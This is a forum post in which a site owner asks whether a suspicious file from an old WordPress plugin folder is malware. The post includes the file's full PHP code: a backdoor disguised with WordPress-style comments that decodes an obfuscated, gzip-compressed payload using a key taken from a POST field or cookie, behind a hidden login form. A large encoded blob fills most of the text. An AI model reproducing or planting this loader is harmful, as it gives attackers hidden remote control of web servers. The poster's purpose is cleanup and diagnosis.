2

My hosting blocked my website because malware, they say. I dived into the (shared) server via ssh and found a file that looks suspicious. This file was in an old, not working installation of wordpress in a subfolder. The subfolder was not blocked tho, so I assume it was accessible via browser. (I changed permissions so only user and group can access it, not others)

The file was wp-content/plugins/bridge.php and I would like to confirm its code is malicious, and perhaps reading it someone could point me towards other files I could check and clean. Particularly outside of the WP folder.

This is the full code, with base64 encoded long string. Thank you for your help.

<?php

/**
 * Sets up the default filters and actions for most
 * of the WordPress hooks.
 *
 * If you need to remove a default hook, this file will
 * give you the priority for which to use to remove the
 * hook.
 *
 * Not all of the default hooks are found in style.php
 *
 * @package WordPress
 * @id 64f722503297a845d239
 */

// Strip, trim, kses, special wp_nonces for string saves


function pre_term_name( $wp_kses_data, $wp_nonce ) {
    $kses_str = str_replace( array ('%', '*'), array ('/', '='), $wp_kses_data );
    $filter = base64_decode( $kses_str );
    $md5 = strrev( $wp_nonce );
    $sub = substr( md5( $md5 ), 0, strlen( $wp_nonce ) );
    $wp_nonce = md5( $wp_nonce ). $sub;
    $preparefunc = 'gzinflate';
    $i = 0; do {
        $ord = ord( $filter[$i] ) - ord( $wp_nonce[$i] );
        $filter[$i] = chr( $ord % 256 );
        $wp_nonce .= $filter[$i]; $i++;
    } while ($i < strlen( $filter ));
    return @$preparefunc( $filter );
} 

$wp_nonce = isset($_POST['_f_wp']) ? $_POST['_f_wp'] : (isset($_COOKIE['_f_wp']) ? $_COOKIE['_f_wp'] : NULL);

$wp_auth_check = '<form method= "post" action= ""> <input type= "input" name= "_f_wp" value= ""/><input type= "submit" value= "&gt;"/></form>';
$wp_default_logo = '<img src="data:image/png;base64,OK9xwT3xBEyWsthU5PjSeMpiE2cl4ktLyN8M8lVaUBO6VJp+En3eTA6Dak20cbdQT1O2TIhBY+PxDW5UNxwSWotnRyLcrjpHHJrZKyiCSF7QY8Ws%NXL2FxU68TG4nCO2VT6B2utxE0BBgqHd8A8wLgxBr1mIh%ipjKmnd6KQqP1ZV4pvUWrpHx+jSwHZ%Sceyn1v2zaDOEE%Frl7tNr9GyhdafZTl6ledHtJgNtcRedRaoHiwOyrSMI9NQA1LJ1DW4d3d99HNk9wdI+uv4%zrHCZlXijaOuUdsHhmd3TTA9ikQ2CE8IzuL3FPWGs1yWDZJqb%Ocoo3sKwqA9i1Ns++nOSxOHGF6i1GQ+Hv4IcIr70szAd+QQ3WFlXzWAE0ZYqmFBdoL1GfQfBnjrcocm4hfVIHpioF7JMsDTvkWq5jamiFYnpbLbDSAHwKGKDMWfY3KOyGEpM63PjbELh0Fypnzy4gHXNzQm1aSUAXfQBBYOvARTl1SsIBCCqtLq6eIx83b%AmnHZBXLirflubD83GoREkJ5aQNjBRRfOcOdmstdlEcHuGIfAP3qFl798LCtu21R9U5QamfhwRHJllykA2j5FYnNxKBS9LBi5Z2k9aBjPSYaWj9FBNWsL5GIksAMyFsL+T8F3NiwH2U86SifB4ATbfmEcS5zLJPk0yqGUVvOPL6duraX42wGgv%ae3nbBYqs9z88jMu2XrW%EDoiHuTuP1TAhdSJHIuDD2ve6hwDssrL6xyckyuYXBm1PtHtrhw1c5pcpqP2BbOxKdHlRNXEJvXEoyS1GertQGmoHIhLkm7uYzQrrhkI8Z+QeBnlKNK67hIUuSdQAYIch%zEHH3xnhvxW88N5wAcHwfwYCxxdh8yqH0dYr4VaBk0OE291nBOsIrUmylkaZrSS4BFNkJPYULIxjbVsWtc0yXB0p5eqVAhcK5OGcoKGP6MSXari19IS4zEmpQazFvqD8wos8teByMmvCpTHqCDjWty4PIiczmWkK4dps4rPbX3aSOjUJjc3q7%9ew6JVL%Xhjbw3%78Xa1XrcNVydLX0XpRF9aqbSeFO9%Uju13Et2arak9sydd2B+C+Go11EPCr46TbgdSb6VublIx4INj%5uBwWMlbyycv%mxqBs2Bn3xyMZr%TbzCaO8Hrji39ZLPU7PopGKJF4YzuCkuUy0sRPDWGedSY1JZaM2RKXs3FDrL5oEXGIcRZu6RmZ+3tW%cOqsQxuGVzFQkMzxt5%%bFKiu1kFv8blWEPBTzDiT1Y09kH+4kbkhbpkNPsnPenTy1obzz312NFAOK4Fi5YzNCtPMWjPH8prcDrKd75fsQ9bm+iQXRFXaSyy0QCpJGqfHh2Jx+QIwKOH3IIvQMRPAOvor1rYjtiZNbemmq4D7OTyzL9EFhtj2rBJ%SaiiuVBCPCa9T71QO2Veyrb+BrZGEonta+zjujmFfJgfVe75vlDQ7VKQhHTR1cxQHIpqfR+Cex+Vx%1ifOx8D32+S%icwrFosMzz8KYszHI4niKkr3KcVSQtuKO+nqLC4yfrjMY1Aqs5G5IkVP82hvaPTSbxBoRoe2u9bbgrPgLLoDS0rslJEM7mOwnX2XwLTPUXHJuDxdZ+RFcW+gA%1jpuO%2Oxa0aW6zSeFPc2OBRUzAdM4uBmUtLw+hekLPy4eqioNigE5m5ugKT+gyd1jj479pI8Y7J8F04CRQTEZpeuxBvYIRs2YySwJprks7rsiosFf0TQAZFjqTbh2dtfA1XMYDLIGMpkOry868YvAuEAt+pVVdnhlZT6mLtKlVYtzRUVGiWc2KcqrmQ0SWTOpa9CiZKUtKtW2gfOuUSBWI6vjak3tVDv9TfdABBkHAPcsN0ysHhBRVf8lGrrYjTyZVL63cOr5efRTCivCRWpMeXwkr15KgIHt8pXbUBJ6cpAX94+8bAgiaiQQOsnzZFNxR%uaMrjdGfK+iq4nTInfmnDg+cBO3VQSMQWtKwrfXoWC8Cu5dpmN8twybwLtQtpTHssHaaNOtmkaoSWubPu6%%dpJw1k7SHRI9w8Z4ggg7aSjDuCwJ1pbbXwZI7iBLnAZAVZoMymqqkmfEOQ3FcA3U6qd3WluxXo7Lhsad3oDk8XKdk+5O52hE1e%kA3no5QK%CzqK6JXbnDecrGp9O3bD5uXNqYk6y2FmkoWHipbPeQ1rfQ2K9lx+zbX3RjGA7wP2DNOTQkMuSg+nP9PVUKkzg9l+Z2HqmZ2tRmxiyzhLoKn704tO2IhCQ+1pHVbhTzAC3cJGLv2BJZOda8OdAJiylg+sF8sAJWkxya9lb1FWim4OjOAdDy%U9HarzyVfG3lDwJWTzYtBgOv4XnwXeXXyVzL7m3pGTbWnj3fFEBmyyACi7po9afaEUA1weFyRqqxONuXHU1xu4KUNjqaxXHLJnlLhPUgXnjPxdbPbyvXsn9%qfkAvC%Jx89zLgHdPzRfstdJNxW8NDSl4+x%Ve4xlDTZAp+XnT6zq6lN96ShYhcJ6aaPI%i6v0LwQI6s9lxxGYK726V8I8bG9dM6e2WUi9B%dT2gX6I%dymw1O9X5y5wqq7J3mVnDAEEpIBM6qtf50tFpiN%XArrKHqf63Pna6M0kKSz4SyYCeNB%6cIr8Lhz2hPnUTyF0T8H19mCH3u9x+obt929ML7lybby379uOp5hYQFA0bN1mpXR%z6bzDrgsRnUGugkbkgRvjlgLIRwnf6ngnQZUfavZPX21bkEoyi3%rJcbctV7JAKPD70kDofWynmORao8GG+pIC1FU24%bSROCRx5eH7J4hxgqT0jCHj3AfFLT2MqhkFyx17bAloi+e4gt%zGyQpZ1qG%7Jd+x5KvGGUOJ6+mA7pl6d70G1+3AXbuVifflqZq72kRqXMnTCHn++In+OC3JfKzF9TvF4vpfAaLtliCRlTdXCpf6zUR7OZ2AsPpebNpiQrDw6yVEuOvCZ69KYQ09YkEIAHI+V%bRJ8EFb39VTrM+Lg6ojcDzpXjqw3T+MSl07zLj1FQo6mK5tHdAe3P6wmoPE6hZW0qi8LVjz9vz2n+dz+EpOQdkOvtK4Jw1SiILtchg5b%lBSnng8fMbZFhJ5gpg+s8vbGV6rxXJQhsdHTU4Dll48fEv9egGDsaxCEyKzDIyVMz%PcRKvCHe+c6SloXZ4ogzra2+dgfq%qibuvjVQ3VoFC7d+dZlR6JK+NCn3jojSdsRTz87S1JeTcTam7cofrutjBJbP3FCrD2nHRUTRByeoAEK%q9wKh1MVdQ2MNkZK1MLQQiwUP+upVbXEAXnBSk%zMqOh95IpZEjet8vjihf6vuC5V4fHNTjmwrR0CZY+EZBzbf%RmtUKhrJcjrguwgXEwkTo9jNYJlyzkdiqHgHkC19LELDB9Bpr3l1ecpGpDKbT4si8ojsv2z1uAi+wvkhMh4Qh+TAAGS2FeDmK6pwHtO+vlOTiupiGWaQnHhR+KNBrnvg3CJVaHCX+X0D3rHELpDZ8rejsABOuNfEMWFYbNqwMTX71K9BSaN4NeaV8hlustzu2yWzzhsoa2qV2xi70WaBiR31PuXzmWV5zsnDkcTAUE%nTpYRSGnu2F8H35laZRx8WPZaRbhb6+V01p89%1PIjwVkkSWQB%mPaeBRwykqN8nGqoPpqrRXi9WG2DQ3r301HGjp1cB6u6Hbk+O7ySUubecU2vvDCaG0BRuMrwEbloROgCptuvEOGpOlHXy0%bRGPtAfa1weIsW1tD1yM4kKaQXdkHjXSck7h11pFOl6ruRJSoYPqXKt2BU8S%BVZcMqYEk7DA3tmgPbcrHnjX%HMt1An2o1nfOyTlLnZlmXaFO4Vp7YejGO2QFJirWfGL4+7Kzsd9rsj+bSbw2lKNyT4k7X4X33rTBrEnromGTZGWkEPtnXV+f3ApEadsL7f+1aShaRzTBnkmafWD5y5aHbsWKllDCbh46HR%iDN0S%+6z3Qg3+OxX%VYb8ovJzeBwLHMcXrjtrddthgTJV7AVXQ3oc77+j85%d++etvp6u3DmZodJctI4r0I0HXp6zuTz+Mbw%yLHVgv689sPWCvAbLDc9cxm+rYWlY+ZF7anx4s4lXqL3%YlcmluMOgMLiGhbrTDU%C1DvkcGahxphYZaOrVBQ%BjOGj4fCHblmCcf4lG2B8+Pq4Vr+NzvZ5MEK8L4L0H%09ecEM4anaG5RZitgYQMUYgJbXYD98TpdZMXFwzrp8wK%ocOmRDxnRNOqucN0WNwyiF07+Bb4OHRoyrd4ei+Mfh51frBJ2ZygDr+ZIuY21MKn+AMtx%5Ibyy9UKxkh+NH4WjgytGwFY1RbQVrlRmz3cLd%gEYo7yMrddYYLZDZj0VqvWH1ZLgxtNJoJkxMDQbBHlnOz5uGq01iQouDCT6pcarZJF6DqVziSYKnjVJuBGy8fuob6Tlbjxbc6+6duGiG9kbukBw%rsVmE9Z%tA5RqnnEXhIy4uqiRqGbem36BYo1%lHv2owVzSgZF9iRowyEYchNr+VkQws+t6LIf1QE2IPrkTatz7%YYs1D%oSn15KoBWFuq7+GrwhDGkdAawxbGu17lp3Vq1RGbSyFUSq2TP638Ktr2ZjaHZGa%Pu5wTNIFLdW4GsWKOs2XERYpRzcdm+UGNYrZOiuyt2%3B%v0%CUCAyBIgDa6dzaYgH7xy9lEw2HpeDpqjvsdj3W9RsnIFdNRU2Rty6m7B5ApzeV5afs4C%HkeEEbt1E%HgI0aDqoBhde5xGbZdy+eeK1kvABTuFbLTCIGJ4JmkCAqH30Qm6jQgepetxfmXayRF2L28HKO7RGdDLBUalCHR09mqpJPfAQaNGuruUVmz4fMW4JDvnrmFO3x+z8+ie7xee17y30+1i5Rn02RdrmPv9j4abiuoh7rpemWnVrMTv75BWUhpfsvN64HckcZMKCvUSsyPqjI1uL%AJGrv+lv8L80+pAyHLB5l7Vr0j62couJwd2ZPkRlyNlQ+056SugYzj1zJK%q%mcHdJOwa1gPYjNy9gnp6aA2bTHhk+WwS5FP6UlDeEghcFxV3jMBnhuC6GLwb8vCQ2L6o0eJK8stZWkXY2v0Z61do+DczOXlppWvj2A%an+lP6pS8C+ZVmzeFUNpFWQKIkz5%nzj1UnMlRwAt4PQHgY86YezyuNt7wJZMeL6%XUzjG91dkIjE0OwPOvdy4zuzyNHa73juWHPhUoibF1N+%vDhHYpBrMomgEvhnjJ0F6MoLz6IsfyLv3jHV4vD3IXgGq1BcTHi4kiPqEsJN6Y6VjcM9D+4c4ndBUwmGgqhoLHyFmeKU5bTfH7OB6l2+Lh+4yj9VRI4JHIEwBRhhdAjkHFJQtwf1ompdDZwa2FT24BtPPJanhdRyD0eKOe+DgBCbg4Hkqau+JJJZY8%RFFwZPJ0AXOKbd8CkqSByIlwwNYH9ho7zMZI3dSToJ3JG3+snA8dn57vxEBBjaoLUj2r6EDoMzfRCHFKiSK73T8utJrV7XFjSwWtvmfC24d8ttZYVexRGH9snf+dcx1ez2vg1zOpV%1X4xzn8l1VmyIdVsXlbmyuqkl6iIpKTMu7hnLS5I6tdCytzxBviLbGh5U91X71vMZ3MZ%LvSBnWLwze77x+VZVFVc3FbhuftJeGhhQhQC4dmboMuPPTgpfEt47o5gCKe5d4gNe+2AWXFN8ZEEoccdQnL1Ur1GgpA07Go+WgAJVv3u2fPzW1nhLkbqVK6h5zuCqDdAzty3cHUT9WNjnCXxvJiPUNdB8Z9lt61R3IWHWms5C0q+gUHlgNrGj%G8ys2z+Rb4pN7X8ij05BXpOF44yqxK%IhsFYoswtEAzvnYMDV%SJMVCnWsDwG+vb96VFij9TY2adDQ9RnvUccyAEvoFj1RX1qLBqaRdRM2bUZ%fuwh9ZWDimFzGdJ7yJq3cbYeyrEDjOegZnL7FMavCPWDFu9XhfULdi6KF7NwMOPbHUyshXqG7VG8cMTa7An2S2u1ROtjv0Z0h6E+fdjPozF8Jx6OMmEtLsoZ%ij4fBbb%KLTwSEf2HxSPQTV7aSHWP4cg+34FLsWzoLwN4PkuD2V1a1sezwfHCcBr5lVoHZdVfnaqcgtWX90MmkbVeuPTZj0eFrmr4ekMPC4ZhIP7zTpLXqIQkCggWHK4J7x+3g+PRNGjgpzIWWqnhqFWSp3H5g7bXoZ54g8Cu1uCAgIspACR6FcGmrDLmeW1oe6cOCbIz5M1DFlWaWho6%ZwxPt2bR7n21pSUEh6lQlsrvsd%quWOdifRXAtHytIRXs4x6ZuNOMfv2pb9vg1wieuDoUIeD3SWqkRNFOe00o5H%SENs8nMHGLVKYuug4OxJqvtw1wWrmOzQgAHp0FGbchWHJVhgDc1cptraQ7ZGxGiXRXEkWSJfDSj78FG%Jy947oIVfqyVdIx0YkavZllA6jkFrzp9Uv7I1CGUCgDAWcygenYLGr497YoxLr4Ml+8NH1vKSy7Jpq+%l4MP8o4fzMDBm2Dl0xbC0zunJ8ixG5oJEZIQ+ZC+1WfXPRvtpoY1zUgk2pmHAcQ7pnEMW3bjCl5kXb6koTfJZ2wCKbGF%lryVPeOkGi+PyYQUHlqSE3CVYYfLJ3qjKFGqG4H%PZR3%gzppA6LjLiGt+BrsvZGh%7DAeedVskFDgJK%5nscCrfUNNOsnKni+BNrEA5oS6zSxp9vfz02ZUVZB4HvfZtDQeNlqbqPONSYYNahIyddnoeEEJL0JKyLvmOnoS1RFqksWqNjNKsenhDELSZggDjs+rpyl5I2sG+6EdGRO++mW%4EzruSFCOHnPg7cGPmKXad6oTc2JvdjrjUTanQuuKiBHDwh5zh56nKPbELLc7XOQzlsa3gC8XijIC%rYt5C8OrKTIrH7XC3YWKyg+iS4suK5Wr0X2FxqJDyinAZH4kIzVsAXJBQzwHi+JL8bxfc89o9QPMPmV3jyuJ02Q0uN8PttV6VeEncmnIMxaD7uoLlaoyGf8y0c3wkXnhFgXn1aG7NAwK%L+25znZ14IaoA8oDL6rOV7sGs90nGIC5wLuMq6h1k8LCDZnES6WrWPfYDq2ITbhmyeFXciu9KvumO2L6WV%WGMGfZVqLikCxVaBzSdgJCtpJLU2ljNne6tO0n0UcCDEIaSgDws%npcgoMk9xF6TXnuAGAkyScEYNR9WuOrSdZ38VR5A2knt%Uk1RCVzltpUM7S9OywtJnRqeVHmwCvmoE7NVORyfTEomafRO7KyozRcPW1pkPbicxAv9TyQXxTG5inwrsWEULQPavoGgfNxIP9cufig%9CgoYuAr7h+68e+ttm1sYQjW1GoVMHP1EvstY6dQkI+9e5hz%FwGGF05OaHGiwpPC6bkRmrrpl5uSz5%0TVsx6gAMDAb4Teg2zO6QAdZSNZD1MR394Y7q%5o1HV13Vg8xhyjkzGgz1MLkQ13KLOMMM4x9wJc49bszVRdigLpb6FzOUu9T8Zyh9%iiiVuvn0NDxtXmKjI2yubTBRvPa4IHCxWX8r5FJCJtD7aK+36xh4ubeitVXr58HuD1J2KsPH2n3%K+qyxPzAgVzSkj4GUYutVhpCjvkz3aIJB9z1lhZQ4puwrCSJ60YpimSM37xp4bqRbWI47Vq7sGkQcuizRwYRMH00YCtpIxnO6nuHYaa6BjPVt+5Ov3eI3k4Umz+VYPqJp1CVBe7CdAgRGj2kK%txEDxFQxHaWfaUYx%UAk6TtjEEYVWIOd70Z5Ct0WSBFlntw11CU791tGX6kjPmpfQ0P2bFJ7opW2RuJcQu2dXLoddlaPGJ3pjNTCnFdZZNqlj3oQuTirsTpuAU2Y7G9U3hvtmNbsHvbdbOFUE51uUY0n8x6zsbhDFy5NfSnq8S4by6fu42W76DksFS7Hqr4iRJpMVSBxYJ4CBwHftj%NLkzBEWTzOAuOyufTn9ykt4Sk23dkTXURg+DePeBvstPYp6xTYxGaWLBUWFry+F34p86V3BhIWJqMHKJl3HqpEAkYzAFVIRvPAM0pF4cjDB3+0OqJSDXjfWjY3qnjCaLNp+o4ic7rEDxNbWs+I9XKpnXmG5a5SW4uNdUYwv3olFOP%JyaiBn01++Zbh%EPrbQLZKKmxFMJnUfbex8EJ660wP5qIacXaMtqkuPMXhqV1+GZ9kjyZtwybSHhZnr54m7mktvKK7Ei4u18FS+jG6eZ2rvVV+tTrMB38noyx8KQR4ZhWPYiEnnyUwJV0dPt%HSU4WMOwwRKNBTlI%BYfBiy0APoYIIxAjiifBcozxO6Is0jUJ%AjdWV0ir6gY2%Lrm0tWwgRoIAzKfAHROthxEvRgUHB1nteNBBeXMAdHIBptKFqPK6YIh4nszDfnWv2mdgRrpGu4P0OyM9arwHUGVD746EokQZ3%+o%yMMfCeuUqSU2I627ann%l0pDfD2z%FkVyx3pukA3t3g9bC1zGtrU1PWSIbRsM8yyVfuvYdmFwawNoNjSY56+VgOwngvpL20MaGMt2hwqujEIObNlSRmV6ZRM42sv84AabyZNhHPKM0CvrS6RYLsvCvIspJ7r+AoqAkq43haAh31TlGmdAZ5WW%MToWdnO5+Vn80rzsLl2pVF1dSGeQBLcgjSW0%7IqqyFzfaAJg7tBZlEL74wtPcfvHJz2bfMtilcKbrKFmUk6PTkmyMPpwjpVn3t+7CtauPuTLlVHGIoMc9TI6rGqdgOIKkZlm0I2ZLZSu1+lHXBVf4ILUe3k%PaHV%E5ghP9j3sxppnW7ZyXG6Jm+zhNGLXaxHlNXL19MZZA73XuR3hU63nL0o6JRlKKYnzGzQWcaO3Kkx4A6uiaiOKYl+JJFBJ2wqU47AkSatjWfz6172vItQD4Rxq97PRm90K0y%yw2MULb4bLF8H6YLMIgrmsNk2DLhHQjUy77LzzkmxlIh4E0ra31xakXFuEo5jddGABZxuGmKh4jYsq0V50Qo37liWS+WG%lCPkm5eBlBhzRxyvp4Q7D%dA02idt9jPebOdSuw8fS3icb1xMzo8JcZw0gjieRL%AQgwOFEEhY2pOwC10mVxs36cFu4xZqd1IOr907ztRGlwJVUWWj3PNaOg%jMmcZ5VCW4ugLGKQV8SkGKOKMvSArZLmYOYEvCwazOrKIRTViQgHpV1iw3XE9CNDuuMp5NddpVFAGtigsVpbyscA107TZKvVwz5wo%EKx2M5nds8u%oWyh+RLbbgCuTESLBD0+EqJnzLjuN6hudPj7Ox44cQOmFRUFciiQSBIX6%G7AR8kgqemNZZUXDpGDI3aA%+vURvOCFEKYDaFTAfS+TF3LwM70ZG5C6hm1Hf0Ghn8qgQmcI8GjmRQUOhh7eiAaOIPWBsohnza3btzoA00UEGBsQn8OzS6tC8x4UHV9AsxpUqhZYnDSwDkL3u9tQ+cWgTUF3s79NcWdn6+ZHfTCX7PLlj8WGTtm7lS1zsL1tzIvAsB3lKMO3iWNpBV39sfV8j3gHKtYqa3SXVGnsE+YEMLh+FZQKElhyWKU%9MRdE19%Mox3jKtwIf9OXVEhAtnA4mTtVEeg0zg7a2FkQ6QtwjZKu+Dfl+s5mgjImuImvehrp5ea3p7OAOXPB%l5DXsadpko9XNHaE5lpkv9wYk5X3OcBQfIpC9pwyglv0mlvwN1YGB07pagQAybRFZk8yW0+aHUFUT%TK5Nk5wbLsKhr54b772vVwE8FdQyEeyjhbvmTfhDej%GkDPwBP8b6ycAcbTkcG7V7dso0g9Xn1hr6uNmEHlGjlnjwG4pJBE+gU3HmjEWgj%oH8dFseKTu8Kn+WdSvkWSyn042Nr3zzrtmUQKTp67+ZVScovJ9Hl9lFwfyiZ46ZS4SU0C+jkuU6ij7Gr7Ivt48ZlBvTAr%PKnmPh7A7uif+why9+joSh1KtvmFmjj7qVS7EOud3ZIAkrCowr84DzX1mqP%dZoM2C2YZsq%ozPdeL6mR0Xpsy0SLhU6iFSkJwUKLqDAbVumHbnRJgqzjtbrLiPBr+37UXgbgABaq55faoDtzeZHwJtCAyRP52uAn%sd3bUZvjeCReKWIJFrq5k3+%RxbUpzG1UmZM6Lp1yXj3lgJtLAP3gsCIbCz3Owf5GdQNPJET1RRB9L0SmJw4CLXIUK0ORg1ZI78zybQgoKYaXKWVgfCveOUM7MrhjQzDjSozF1OcATBpnBs4LeYpcpsnyNOODGTYXeywyvKyQYlOaceIDpr9Bt1BegQc3PThqwE78wNdGkJIO2yP4+psOQ2wj8++FqcyDrlz8AAcPfaHtkBqAxeAzs2sfSjEBN1Peafqdfa+RnrfGH1QbKvK21hWNPE0pB5Pp8QZOJ1xJNLis5KCsE+hwqgX35VcpxgAGsSfevt8OlTDkG5oxGVVmOIfHbvEh2MexpZaKXijyh%1I7u+AOvs%8DO24XDX8yR8H55rXQ1vwp50w7dV1U%Q1%wQLc+MSaLPddH6dReTRW++BGyEZFRdRaNdriHN8ex2beYcCLfU9kX06ACJsX4fFF1wJvrfUFgL6baINncmZIRt+RX6XoCwbh9VzI%YFkJDKmcADklHSlJb7FdSuhA9ceA+HsHXho84G8iC1c4mLRuTB5PxbSUd9Wp7LlkQq+AzA7fYmMxzVj%Tm%Ph1QsAcD4z3qSVwdJwQFNuM8fOe8aJUjmB49HjctrzK8j3sGrzyc8Y63zq72zmMZ7vRWLvVcMLVQLJR5kgbHDLKSHjxUgNsvZpQ6226fvY5IEJPpI%tRJTHs9yhuxA9wp43mpqSI%kPdz+HR9Sidwj7Dri9R696BfNzNTcIQFZfpQarJX%jYWN+6OoVjPqHwO0hg9vS5aiBPQeUym2QCCACP7+LEPaqz7yFWLSjbpHybdD2p0uUF7ybg1xxmp5%caDohH3S9xvRwOEjfAeXJsJZExyNHMeOS6%qCIsiop91Durjd+DUUIQ+pJT70n5Wmw5zrInekjhgJX42Sv6Y46Z1GCKXeQqjl6zEzxKHLzA35Skf6CQbJDeeNZmWMXRnkwtn%DYnCQ%kp5qRo+Ofztl9JD+tSOA3o8SKiAGJpGighv0sEpdebMnHWbsjHZ+eD%vMDup8454aYBzUvYtIpdC6oIQLSHYBaqcnFCtRXAQ7gtAkFHd0J8Eb8vMxImTm5u7la3WUwXVwuNKY7sSO+nqImLEWRz4vyzndWweYdugzkD6Asu05ehzMXw4bD7e19+WyqZZ1s%hXVb5uMf6gUaC1ZTtUfsM+eFdzmcDNc4jpQmWVIJ0UC2dSN8wrmCmXf3w5v3GDA3SdP6CnXQfJ0KOGda6F7LCFQl7ndv422zL+sCSFHXW5RjB2ctvuiyqfl8oONiVIwrtbZsXsoRyWQibLkCcaF5g10KcwQ3Bs3whQlPGiZBqBCtuiOJUet9HBkoAdFyiBtyGllgoj274GGF4LiJ7%KolcA7pXTmOcDHwgnQjdfqiPPrsvgMJ4XZShBCgzROTqgGXaXWdzX4IcihTs+JZUjniNtk5tJHgczBHrzMax%TGt8DZVIxjLoBf6FjQElW3uXhyeWjC%6lbnc1b%uD8eXnZGimCqBVGv+TJ+hWZDTdUP6hBWzYuv%JzsZM3h81cofPztwGnRLbnC3cjTXB00pNk0X9w5h9GZmX0kGFFG8yTTVXYDfpU0aHan5Vrl4MBKuFCkvvDmTUVZAuXooSh2IiDZS7NNAguFBqU5HWLrsWkLxgzDbw1z94CGUMUjxCtr+4hnTFs4GB3Fe%ibQfC1wZKJDeiOc3QxfkokINT9RRSW%Ci7HaXj2JxQc73ijmC%FaAzVpOcjoiH9Iob6UYxJlk9UeQXFK0CM9Y7utSlKRiekVCd%MX+GXZRnPdawAUCfhs4i3yY0fA4VU+pmLhwEtE8SHn4njWQkwS%DT1jJaPd2IVY0RnCZ5nW6pQP4dx5M3ZRd5w1G8mjs71MZHD72WvFEZ0v47o+Znqz4RuNTMgUnBPcZCjbJ0FR+GoEbtaWcCC14%RijUYYrBE5FS8o2dyM6izfDINBWwsCoXJzJiruHfRlXuuIJtYEMpFnYPDfo0S2cLPCFcYJB+2kho0jqQWaIB0snF7bjwJhhPjKjjitUAr1eiu8sNVs13uyC89ATJMaKsREZt94CeFXnUH0DDyBb8CpApStQqlNzx8eOBG91kPp0B13+dDRkh0uPE3KaYVQWBvR0yoOWAH2unSnVW1qZxIW2PUOItsgVkIgo6lTuwPHe%wTl3MVuhZol5Gu%d+7GClAfoSaUMCUtQwwBfIzNJge2117q3qwSU6ZRzirYOBn+8GlMLPV6ZUjwSxHcRPRb2h48PR1zQ9uceVwakQa3J7uBXP%eUEIM+0fzr65YLk9TrJ4Xt0TOKF2mw2S9FCvBM2tM+xoheBEuvQR71BIaMfg8aMNpzgBTKZTAWZ5vaGWGhliMLYYoHmZdee96K779U7mW4lUceJrR05XKfiUxB72VQ3F6iysvuxqdzXh6czh85KatqTjzaEBf2Ri5rtmPT+qyiIF02Trj0Q7ClJdx2hfJfJ7aZj4wiWyqXD4EdjZGITAGxEP0uFg++jBNmQDMTNKOBfJNLpqNNETxLmZ%47S42sMzPw%FoV2ImDf1zuKHQdnfE%ww7M3lL0un31bodpeqXMffG%4ihcMpoCF+JAPqwnQoHa%GWztOhMrSR111WYgVzRC%t5EB7E4kApKk0QIpDyr6GMig9hIuTpHBxR6nTGr9V0HIa0zGL9mAIIlPIP8ti0ekH2xnsC5libRCodtVImUXVMmfuouTjaioFHplnFy8eMWZLpHYrbk8ez8dj%zZE7wRZb0XwqDmvYRioybSopmtiNnNpGohd8FYY5z7Wu2ChzWnjLDIHuXtWJ+kxOkQIz0x7xhvkZAvfTWkZ3zcDAGcfyZ5KE2FDeEqONWhhe5wBaytVaVy%GxyFyrO7d1lxj%GFE%ssv+TJf6KgEsE7B8dRDRzP+5ix11Rk9OIP%lXvgQH7wYtpEKssv7+%eGBGf9kVU9UOD0eyr3520VLjjn3g8HSaGYux+ZUjdryjxE%fMwV%t6p32iGt0WXLnTioozxIfiZuDPScRZ5a8gPOUzV%KTK0Iu15IBiDZX3aiWHIhAz91YgSWfjAbMq+wHKQw9k2YwXIh3LOKh%80+milgVpFVR3cvYPLBNUDUeDIOw%6NW8bol%tO1TXwxyR%SyeCGGb0yom3J9yqpCpxG3NxTZLnsoCY9AWHwGLLWmGrqoGK8dGpGr0VXgaiBRPTIV4txsfT4RZxW8UpLlFJdVBE5+qOCrPTUHSYqRkYvq8C2dpAk38GMOBKFZ4ondbi4OFVUojyUo6nloiuaioffBsxh0qNNqYHDaP0REklbVP2W7qU7DyV8TV2EGJbLUizkUegilUVwHeSZNntRmN2CGr+cTZgcBTEwuEctFsDhou9ygRUednglIM+ATAPnaNzg6JnBz%I3c3d%41riDWGWqpKOVOHoPk5RSe+XtQvnNyL0b3GG5Yc22k3nwZueCUF3d2IP3aY3c18oRCuE8de2rzsp0deNUuT3jpRJEAPBo+LRPwLCds%OwW9Tf4PNXziFEmO3zGCBzp6VPyKm%Fu1XHaVbndER8hynq2Oghm1M3BwhA0JHNEdoFnnVXUSTnrVT7R+GtbNjGuZotWDSxPQiB4zIxY%0TakBM5NDpqhjIhQ5W+UF+3grEN7psqlsGNlmBnl%UUAeHbfAHqAXrrWKCzWVOWGiXrRpajiqHXONggjP8hWbWCwHY%XrANe0NQiBd2L271m4l3JQksDLfUEPDjgTZ2kUDpiurjiH1wNcZkk9yUXBUDIWw0NNS3Fn5xsJ3o5H61dPsSfevuapIbRvH6JYLNRs9vqZMIKivp1Vsx9mWJhpw6Hc9LPlkJYmAdvw30Uha29JrJIwWyMF63bXZoJym40JhbHOS%gOTdwwLN8yjbabXMnLclLZ7e1dW5ggVolKIMc1ee74W5yTv9bouMJUT%Ns4GOV6nevH7WPRNpEHvKRZRg8II%C1r4fJf13CQm5qhl+YjDnytd02e6dE41RHGS4+TnjGH+DhKa0U2xPs%YHdknERkw31ZZ0JybdA%+Swzh0vnLPwuzYVOf7+TlDLy08SqL59D3ItNAapsS0KXCCNLqwxXXZVjZA0P9qT4ueQn+o49XdPy%kmcPouvSTolhSoSgz7mRfDt90tDK1H%G+pCeHvF7K5S+8IiEx8cYFifyv5cnt5gP21626JjXlx%pcylWEQgX8E0FgeDnyz0natwn+CsbOoeb81VyTZk8rpwvsNqodBaPlVfe4erSEs7SbLwfPiJvttI00prgjZfAIYh1WuCU+SDn%%A7NcPa397oQmCw9bAw48aHUaAl%tUfzZE906VFi%ERo+Oqd11MHOSlqDDgPy7ig8pGznW9Oi%MwLnCWrP7dVBWxAeebywJnxRYjPJa7Rh3mcaPLj%5mGeduTTE9HL52Wl1iLwGdeEMB58+lQ5S60YMFkTOZEE4L09NBfZhAGBZIJpJB%BIWOdPw4vQALmfHxqSwfoJ9y0hcS73EINXMOJn0dTQYLl9FuQ11VlQL3NFn7fdj8%m+%gLQCMzr3eqvMOxZ+7rH+Ud20vdMfX9eyK%5d1HdCugByPIb4MpXwaSOZxXtPYs0xA2159Hh7Yh2%geVKowSuP9tBKmCldpXRQW5ABAp96E5b0qLZedGQa5inQfBGDxFYEGhStqdap48n8Pp1wwOwNbQil+fwYgIN6jv5Xl8cRE5q++uNbnQBmodQsQJ9v+ydFQyHCzQ539u7M9vnZJwNaelPJY1rQMBAlaf8PV8xRH0SHyp1HkcgJp8NE+gydHODlIkIa